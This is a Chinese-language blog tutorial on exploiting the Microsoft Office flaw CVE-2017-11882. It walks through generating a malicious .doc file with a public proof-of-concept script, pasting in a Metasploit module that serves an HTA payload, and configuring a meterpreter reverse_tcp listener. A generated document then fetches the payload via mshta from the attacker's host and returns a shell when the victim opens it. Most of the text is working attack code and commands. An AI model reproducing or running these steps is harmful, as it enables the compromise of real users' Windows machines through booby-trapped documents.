office漏洞利用--獲取shell


  環境:

  kali系統, windows系統

  流程:

  在kali系統生成利用文件, kali系統下監聽本地端口, windows系統打開doc文件,即可中招

  

  第一種利用方式, 適合測試用:

    從git下載代碼:

git clone https://github.com/Ridter/CVE-2017-11882

    執行以下代碼, 會在當前目錄生成一個doc:

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

    會生成一個test.doc文件, 如果有漏洞的電腦打開這個文件, 就會彈出一個計算器;

  第二種利用方式, 反彈獲得shell:

  kali系統准備:

  復制以下ruby代碼到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目錄(要注意代碼縮進哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
 
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpServer
 
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
 
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
 
 
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行啟動msf的服務:

service postgresql start

  再啟動msf:

sudo msfconsole

  重新加載所有模塊:

reload_all

  查找我們剛剛新建的cve_2017_11882模塊:

search cve_2017_11882

  加載這個模塊:

use exploit/windows/smb/cve_2017_11882 

  使用反彈shellcode, 配置本機地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  生成漏洞利用文件test1.doc

  實現使用ifconfig查到當前計算機IP,然后在clone下來的項目下執行以下命令, 當前系統下回生成一個test1.doc文件:

python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc

  (注意,aaaa這個名字和msf的 uripath是一樣的, 不能亂寫)

  把生成的test1.doc 放到window系統執行, msf就會返回一個shell

  相關資源:

  POC的項目地址:https://github.com/Ridter/CVE-2017-11882/

  python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

作者: NONO
出處:http://www.cnblogs.com/diligenceday/
企業網站:http://www.idrwl.com/
開源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM